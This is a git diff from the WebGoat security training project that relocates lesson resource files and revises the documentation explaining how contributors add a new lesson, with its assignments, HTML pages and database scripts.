a/webgoat-lessons/jwt/src/main/resources/js/questions_jwt.json b/src/main/resources/lessons/jwt/js/questions_jwt.json similarity index 100% rename from webgoat-lessons/jwt/src/main/resources/js/questions_jwt.json rename to src/main/resources/lessons/jwt/js/questions_jwt.json diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/db/migration/V2019_11_10_1__introduction.sql b/src/main/resources/lessons/lesson_template/db/migration/V2019_11_10_1__introduction.sql similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/db/migration/V2019_11_10_1__introduction.sql rename to src/main/resources/lessons/lesson_template/db/migration/V2019_11_10_1__introduction.sql diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-attack.adoc similarity index 76% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-attack.adoc index 9cb035b1f..a1244d4f8 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-attack.adoc +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-attack.adoc @@ -1,6 +1,6 @@ === Step 4: Add an assignment to your lesson -With an assignment a user can practise within a lesson. A lesson can consist of multiple assignment, each assignment +With an assignment, a user can practice within a lesson. A lesson can consist of multiple assignments, each assignment needs to extend the class `AssignmentEndpoint`, let's look at an example: [source,java] @@ -39,15 +39,17 @@ public class SampleAttack extends AssignmentEndpoint { // <3> } ---- <1> Every assignment is just a Spring RestController -<2> Each assignment can have a list of hints, the actual text needs to be placed in `WebGoatLabels.properties` -<3> Each assignment needs to extend the class `AssignmentEndpoint` giving you some helpful methods you need when you want to mark an assignment as complete -<4> As the assignment is a Spring based class you can autowire every component managed by Spring necessary for the assignment +<2> Each assignment can have a list of hints. The actual text needs to be placed in `WebGoatLabels.properties` in the folder `src/main/resources/{lessonName}/i18n` +<3> Each assignment needs to extend the class `AssignmentEndpoint`, giving you some helpful methods you need when you want to mark an assignment as complete +<4> As the assignment is a Spring-based class, you can auto wire every component managed by Spring necessary for the assignment <5> Each assignment should at least have one mapping with the method signature (see 6) -<6> When the user tries to solve an assignment you need return an `AttackResult` +<6> When the user tries to solve an assignment, you need return an `AttackResult` <7> Returning a successful attack result when user solved the lesson <8> Returning a failed attack user did not solve the lesson -As you can see an assignment is a REST controller which need to at least have one method with the following signature: +{nbsp} + + +As you can see, an assignment is a REST controller which needs to at least have one method with the following signature: [source] ---- @@ -71,11 +73,11 @@ public List getItemsInBasket(@PathVariable("user") String user) { } ---- -=== Adding an assignment to the html page +=== Adding an assignment to the HTML page -We mentioned a lesson can consist of multiple assignments, WebGoat picks them up automatically and the UI displays -a navigation bar on top of every lesson. A page with an assignment will be red in the beginning and will become -green when the user solves the assignment. To make this work in the html we need to add: +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add to the HTML file: [source] ---- @@ -106,4 +108,4 @@ green when the user solves the assignment. To make this work in the html we need So the `action` of the form should match the method which defines the check if the lesson has been solved or not see `public AttackResult solved()` -That's it you now successfully created your first WebGoat lesson including an assignment! \ No newline at end of file +That's it. You have now successfully created your first WebGoat lesson, including an assignment! diff --git a/src/main/resources/lessons/lesson_template/documentation/lesson-template-content.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-content.adoc new file mode 100644 index 000000000..660802d34 --- /dev/null +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-content.adoc @@ -0,0 +1,36 @@ +== Step 1: writing content + +Each lesson can consist of multiple pages with content (text) to explain the vulnerability at hand. The content +is written in AsciiDoc[https://asciidoctor.org/docs/asciidoc-writers-guide/] which makes it very easy to write content (if you know Markdown, you know AsciiDoc). + +You can find excellent tutorials online for the AsciiDoc syntax. We are just showing a basic overview below. +Below we will describe some constructs often used within WebGoat. + +=== Sub-heading + +Check AsciiDoc for syntax, but more = means smaller headings. You can *bold* text and other things. + +=== Structuring files + +You should set up all content to these *.adoc files. The AsciiDoc files reside in the +directory `/src/main/resources/{lesson}/documentation/`. + +=== Images + +Images can be referenced below, including setting style (recommended to use lesson-image as the style). The root is `/src/main/resources/{lesson}/images` + +image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"] + +=== Code block + +Write code blocks as follows: + +``` +[source] +---- +public class A { + + private String test; +} +---- +``` diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-database.adoc similarity index 72% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-database.adoc index 996991947..cb70fa4b7 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-database.adoc +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-database.adoc @@ -1,8 +1,8 @@ === Database -If the new lesson needs to store or use a database you can add a create script in the directory `{lesson}/src/main/resources/db/migration` folder. +If the new lesson needs to store or uses a database, you can add a create script in the directory `/src/main/resources/{lesson}/db/migration` folder. The file name needs to follow a specific convention: `V2019_11_10_1__new-lesson.sql`, so the first part is just the current date. -In this file you can for example create tables and insert some data, for example: +In this file, you can for example, create tables and insert some data, for example: [source] ---- @@ -22,4 +22,4 @@ INSERT INTO servers VALUES ('4', 'webgoat-pre-prod', '192.168.6.4', 'EF:12:FE:34 INSERT INTO servers VALUES ('4', 'webgoat-prd', '104.130.219.202', 'FA:91:EB:82:DC:73', 'out of order', 'Production server'); ---- -Using this way to create a database will allow WebGoat to automatically reset the database to its original state. \ No newline at end of file +Creating a database will automatically allow WebGoat to reset the database to its original state. diff --git a/src/main/resources/lessons/lesson_template/documentation/lesson-template-glue.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-glue.adoc new file mode 100644 index 000000000..150fc3d81 --- /dev/null +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-glue.adoc @@ -0,0 +1,34 @@ +=== Step 3: Write glue html page + +We mentioned a lesson could consist of multiple assignments, WebGoat picks them up automatically, and the UI displays +a navigation bar on top of every lesson. A page with an assignment will be red initially and will become +green when the user solves the assignment. To make this work we need to add: + +[source] +---- + + +
+
+
+
+
+
+
+
+
+ +---- + +This file needs to be places in: `/src/main/resources/{lesson}/html/`. The name of the file should be the same as +the Java class we created in step 2. + +The snippet above will create three separate pages (navigation bar) with the adoc pages we created to create this lesson. + +That's it we create a basic lesson with only content. To make it all work, you need to make the lesson available in +WebGoat. + +That's it. Start WebGoat, and your lesson will appear in the menu. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-intro.adoc similarity index 50% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-intro.adoc index 441ce0aaa..422705a5a 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-intro.adoc +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-intro.adoc @@ -1,8 +1,8 @@ -This lesson describes the steps needed to add a new lesson to WebGoat. In general there are four steps: +This lesson describes the steps needed to add a new lesson to WebGoat. In general, there are four steps: -- Write the content, in WebGoat we use AsciiDoc as a format. +- Write the content. In WebGoat, we use AsciiDoc as a format. - Create a lesson class -- Write html glue page so WebGoat knows how the content should be displayed +- Write HTML glue page, so WebGoat knows how to display the content - Add one or more assignments within the lesson Let's see how to create a new lesson. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-lesson-class.adoc similarity index 65% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-lesson-class.adoc index 178b6b138..3ee6d8395 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-lesson-class.adoc +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-lesson-class.adoc @@ -1,6 +1,6 @@ === Step 2: adding a new lesson class -Each lesson can contain multiple assignments, first let's define a lesson class in Java +Each lesson can contain multiple assignments, first. Let's define a lesson class in Java: [source] ---- @@ -18,3 +18,4 @@ public class LessonTemplate extends Lesson { } ---- +Add the new lesson to a new package under `org.owasp.webgoat.lessons`. diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video-more.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-video-more.adoc similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video-more.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-video-more.adoc diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc b/src/main/resources/lessons/lesson_template/documentation/lesson-template-video.adoc similarity index 82% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc rename to src/main/resources/lessons/lesson_template/documentation/lesson-template-video.adoc index 83831886f..105527d5a 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/lessonPlans/en/lesson-template-video.adoc +++ b/src/main/resources/lessons/lesson_template/documentation/lesson-template-video.adoc @@ -1,7 +1,7 @@ === More Content, Video too ... -You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though. +You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this, though. video::video/sample-video.m4v[width=480,start=5] -see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax \ No newline at end of file +see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html b/src/main/resources/lessons/lesson_template/html/LessonTemplate.html similarity index 79% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html rename to src/main/resources/lessons/lesson_template/html/LessonTemplate.html index 1444a8454..730b2e37b 100644 --- a/webgoat-lessons/webgoat-lesson-template/src/main/resources/html/LessonTemplate.html +++ b/src/main/resources/lessons/lesson_template/html/LessonTemplate.html @@ -4,38 +4,38 @@ -
+
-
+
-
+
-
+
-
+
-
+
-
+
@@ -71,7 +71,7 @@ see other lessons for other more complex examples -->
-
+
diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/lesson_template/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/lesson_template/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/images/firefox-proxy-config.png b/src/main/resources/lessons/lesson_template/images/firefox-proxy-config.png similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/images/firefox-proxy-config.png rename to src/main/resources/lessons/lesson_template/images/firefox-proxy-config.png diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/js/idor.js b/src/main/resources/lessons/lesson_template/js/idor.js similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/js/idor.js rename to src/main/resources/lessons/lesson_template/js/idor.js diff --git a/webgoat-lessons/webgoat-lesson-template/src/main/resources/video/sample-video.m4v b/src/main/resources/lessons/lesson_template/video/sample-video.m4v similarity index 100% rename from webgoat-lessons/webgoat-lesson-template/src/main/resources/video/sample-video.m4v rename to src/main/resources/lessons/lesson_template/video/sample-video.m4v diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc b/src/main/resources/lessons/logging/documentation/logReading_Task.adoc similarity index 100% rename from webgoat-lessons/logging/src/main/resources/lessonPlans/en/logReading_Task.adoc rename to src/main/resources/lessons/logging/documentation/logReading_Task.adoc diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc b/src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc similarity index 100% rename from webgoat-lessons/logging/src/main/resources/lessonPlans/en/logSpoofing_Task.adoc rename to src/main/resources/lessons/logging/documentation/logSpoofing_Task.adoc diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc b/src/main/resources/lessons/logging/documentation/logging_intro.adoc similarity index 100% rename from webgoat-lessons/logging/src/main/resources/lessonPlans/en/logging_intro.adoc rename to src/main/resources/lessons/logging/documentation/logging_intro.adoc diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc b/src/main/resources/lessons/logging/documentation/more_logging.adoc similarity index 100% rename from webgoat-lessons/logging/src/main/resources/lessonPlans/en/more_logging.adoc rename to src/main/resources/lessons/logging/documentation/more_logging.adoc diff --git a/webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc b/src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc similarity index 100% rename from webgoat-lessons/logging/src/main/resources/lessonPlans/en/sensitive_logging_intro.adoc rename to src/main/resources/lessons/logging/documentation/sensitive_logging_intro.adoc diff --git a/webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html b/src/main/resources/lessons/logging/html/LogSpoofing.html similarity index 79% rename from webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html rename to src/main/resources/lessons/logging/html/LogSpoofing.html index 50907ad78..68e49a064 100755 --- a/webgoat-lessons/logging/src/main/resources/html/LogSpoofing.html +++ b/src/main/resources/lessons/logging/html/LogSpoofing.html @@ -6,12 +6,12 @@ -
+
-
+
-
+
-
+
-
+
diff --git a/webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties b/src/main/resources/lessons/logging/i18n/WebGoatLabels.properties similarity index 100% rename from webgoat-lessons/logging/src/main/resources/i18n/WebGoatLabels.properties rename to src/main/resources/lessons/logging/i18n/WebGoatLabels.properties diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css b/src/main/resources/lessons/missing_ac/css/ac.css similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/css/ac.css rename to src/main/resources/lessons/missing_ac/css/ac.css diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql b/src/main/resources/lessons/missing_ac/db/migration/V2021_11_03_1__ac.sql similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/db/migration/V2021_11_03_1__ac.sql rename to src/main/resources/lessons/missing_ac/db/migration/V2021_11_03_1__ac.sql diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc b/src/main/resources/lessons/missing_ac/documentation/missing-function-ac-01-intro.adoc similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-01-intro.adoc rename to src/main/resources/lessons/missing_ac/documentation/missing-function-ac-01-intro.adoc diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc b/src/main/resources/lessons/missing_ac/documentation/missing-function-ac-02-client-controls.adoc similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-02-client-controls.adoc rename to src/main/resources/lessons/missing_ac/documentation/missing-function-ac-02-client-controls.adoc diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc b/src/main/resources/lessons/missing_ac/documentation/missing-function-ac-03-users.adoc similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-03-users.adoc rename to src/main/resources/lessons/missing_ac/documentation/missing-function-ac-03-users.adoc diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc b/src/main/resources/lessons/missing_ac/documentation/missing-function-ac-04-users-fixed.adoc similarity index 100% rename from webgoat-lessons/missing-function-ac/src/main/resources/lessonPlans/en/missing-function-ac-04-users-fixed.adoc rename to src/main/resources/lessons/missing_ac/documentation/missing-function-ac-04-users-fixed.adoc diff --git a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html b/src/main/resources/lessons/missing_ac/html/MissingFunctionAC.html similarity index 89% rename from webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html rename to src/main/resources/lessons/missing_ac/html/MissingFunctionAC.html index 49c42e774..daf5b8fd6 100644 --- a/webgoat-lessons/missing-function-ac/src/main/resources/html/MissingFunctionAC.html +++ b/src/main/resources/lessons/missing_ac/html/MissingFunctionAC.html @@ -1,12 +1,12 @@
-
+
-
+